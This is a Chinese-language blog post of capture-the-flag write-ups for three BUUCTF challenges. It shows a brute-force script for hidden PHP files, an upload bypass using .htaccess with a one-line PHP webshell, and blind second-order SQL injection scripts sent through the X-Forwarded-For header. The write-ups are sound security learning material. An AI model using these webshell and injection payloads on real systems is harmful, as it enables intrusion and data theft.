0%

刷题记录 200231

[BJDCTF 2nd]elementmaster

 又是一个脑洞题。(晕)

  1. 打开页面源码,如下值得注意的点:
    1
    2
    <p id="506F2E" hidden="">I am the real Element Masterrr!!!!!!</p>
    <p id="706870" hidden="">@颖奇L'Amore</p>
    可以看到id是16进制,解码后发现第一个是Po 第二个是php。我们尝试访问 Po.php 回显了一个.再看那串英文的意思,“我是真正的元素大师!!”百度搜索了元素表,可以知道Po就是其中的元素。
  2. 我们写脚本跑跑
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    import requests
    import time
    url = "http://82406e20-1fdf-4637-be67-db48dae7a5a1.node3.buuoj.cn/"

    dict = ['H', 'He', 'Li', 'Be', 'B', 'C', 'N', 'O', 'F', 'Ne', 'Na', 'Mg', 'Al', 'Si', 'P', 'S', 'Cl', 'Ar',
    'K', 'Ca', 'Sc', 'Ti', 'V', 'Cr', 'Mn', 'Fe', 'Co', 'Ni', 'Cu', 'Zn', 'Ga', 'Ge', 'As', 'Se', 'Br',
    'Kr', 'Rb', 'Sr', 'Y', 'Zr', 'Nb', 'Mo', 'Te', 'Ru', 'Rh', 'Pd', 'Ag', 'Cd', 'In', 'Sn', 'Sb', 'Te',
    'I', 'Xe', 'Cs', 'Ba', 'La', 'Ce', 'Pr', 'Nd', 'Pm', 'Sm', 'Eu', 'Gd', 'Tb', 'Dy', 'Ho', 'Er', 'Tm',
    'Yb', 'Lu', 'Hf', 'Ta', 'W', 'Re', 'Os', 'Ir', 'Pt', 'Au', 'Hg', 'Tl', 'Pb', 'Bi', 'Po', 'At', 'Rn',
    'Fr', 'Ra', 'Ac', 'Th', 'Pa', 'U', 'Np', 'Pu', 'Am', 'Cm', 'Bk', 'Cf', 'Es', 'Fm','Md', 'No', 'Lr',
    'Rf', 'Db', 'Sg', 'Bh', 'Hs', 'Mt', 'Ds', 'Rg', 'Cn', 'Nh', 'Fl', 'Mc', 'Lv', 'Ts', 'Og', 'Uue']
    s=''
    for element in dict:
    req = requests.get(url+'/'+element+'.php')
    time.sleep(0.02)
    if "404" in req.text:
    pass
    else:
    s+=req.text
    print(s)
    print("fileName:"+s)
    然后得到:
    And_th3_3LemEnt5_w1LL_De5tR0y_y0u.php 直接访问可以得到flag

[GXYCTF2019]BabyUpload

 其实题目解法看起来简单,但做起来却真的有点难的。

  1. 根据提示不能上传带有ph的文件,再访问一个错误的地址发现是apache。想到.htaccess.user.ini(大多中间键都可用)我们就上传.htaccess来绕过吧。
  2. 上传.htaccess文件,这里题目限制了文件类型,jpg都过不去。我们需要用image/jpeg 才过的去。
    1
    2
    文件内容为:(意思是所有文件都以php来解析)
    SetHandler application/x-httpd-php
  3. 题目好像对<?也有过滤,不过我写马的时候都是这样写的:
    1
    2
    GIF89a
    <script language='php'>assert($_REQUEST['cmd'])</script>
  4. 上传我们准备的马,记得改类型。这里我命名马为1.png。上传成功后看到禁用了很多系统函数包括system此时我们可以使用读文件函数readfile只是我们要猜测flag即其位置了。最后得知readfile('/flag')得到flag
  5. 当然我们可以用蚁剑来连接我们的马,也可读取文件。但是值得注意的是编码器记得选 chr

[RoarCTF 2019]Online Proxy

先贴脚本

这是我自己写的脚本真的慢呀,表库有些还是直接看到别人的wp。先贴一下再讲解题过程吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
import time
url='http://node3.buuoj.cn:26601/'
pay="1' and (ascii(substr((select `F4l9_C01uMn` from `F4l9_D4t4B45e`.`F4l9_t4b1e` limit 0,1),{},1))={}) and '1"
### 值得注意的是记得加``把表名数据库名包起来
## 第一列的flag是假的
s=""
f=0
r=requests.session()
for x in range(1,20): ###这里适当的加大范围
if f:
break
f=1
for y in range(32,127):
payload=pay.format(x,y)
head1={"X-Forwarded-For":payload}
head2 = {"X-Forwarded-For": "23"}
head3 = {"X-Forwarded-For": "23"}
r.get(url, headers=head1)

r.get(url, headers=head2)

r3 = r.get(url, headers=head3)


time.sleep(0.02)
if "Last Ip: 1" in r3.text:
s+=chr(y)
print(s)
f=0

print("\n\n"+s)

确实有点慢,不过我编程还是没学太扎实(首先想到的就是这种一个一个试的方法)。下面我再话花点世间用二分法脱库应该会快点:(快的不止一倍呀,以后还是尽量写这种)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
import time
r=requests.session()
url="http://node3.buuoj.cn:28857/"
result=""
def get_middle(start,end):
return (start+end)//2

for i in range(1,500):
start = 32
end = 128
mid = get_middle(start, end)
while end>start :
payload = "1' and (ascii(substr((select `F4l9_C01uMn` from `F4l9_D4t4B45e`.`F4l9_t4b1e` limit 1,1),{},1))>{}) and '1".format(i,mid)
r.get(url,headers={"X-Forwarded-For": payload})
r.get(url, headers={"X-Forwarded-For": "234"})
rs=r.get(url, headers={"X-Forwarded-For": "234"})
time.sleep(0.02)
if "Last Ip: 1" in rs.text:
start=mid+1
else:
end=mid
mid = get_middle(start, end)
s1=result.strip()
result+=chr(mid) ###这里需要返回的应该是最后的中间值
s2=result.strip()
print(result)
if s1==s2: ###用来判定结果是否已出完
print("end-result: \n "+result)
break

解题思路

  1. 抓包重放,发现回显有ip 尝试XFF伪造ip成功。我们伪造一个ip发过去会显示为Current Ip 而上一个ip为Last Ip:
  2. 尝试伪造一个1' and (1=1) and '1ip,第一次放过去显示在当前ip然后我们改一个ip使其Last Ip显示我们输入的语句(此时未调用数据库的数据),但我们再次放一次包(ip不改)就会看到执行了我们的payload并返回了结果(从数据库调用)。也就是二次注入
  3. 再整理一下思路:
    • 第一次执行 payload 语句,使payload插入数据库中。
    • 第二次执行非payload语句,使payload显示在Lastip的位置。
    • 第三次执行非payload语句(和第二次一样的语句),使payload生效,显示攻击返回结果。
    • 值得注意的是,如果我们的payload的不对就不会显示在lastip中,我们要从简测试 payload 如1' and (1=1) and '1
  4. 我们知道了这个注入点以后,我们写脚本跑flag了。脚本上面已经给出了。二分法在这种大量的测试中确实快的很多。值得注意的的cookie值要一样,我们有2中方法就是在每一个请求中加同一个cookie(不推荐,可能会被屏蔽),或者使用session来确定都是同一次连接。
  5. 如果没有wp,就是知道了注入点,也很难找到其它库的其它表里flag呀。

如果注入时不出数据可以试试加 limit 0,1 来限制每次出一条数据。 当然有条件,使用group_concat把字段合起来输出更方便呀。


-------------本文结束感谢您的阅读-------------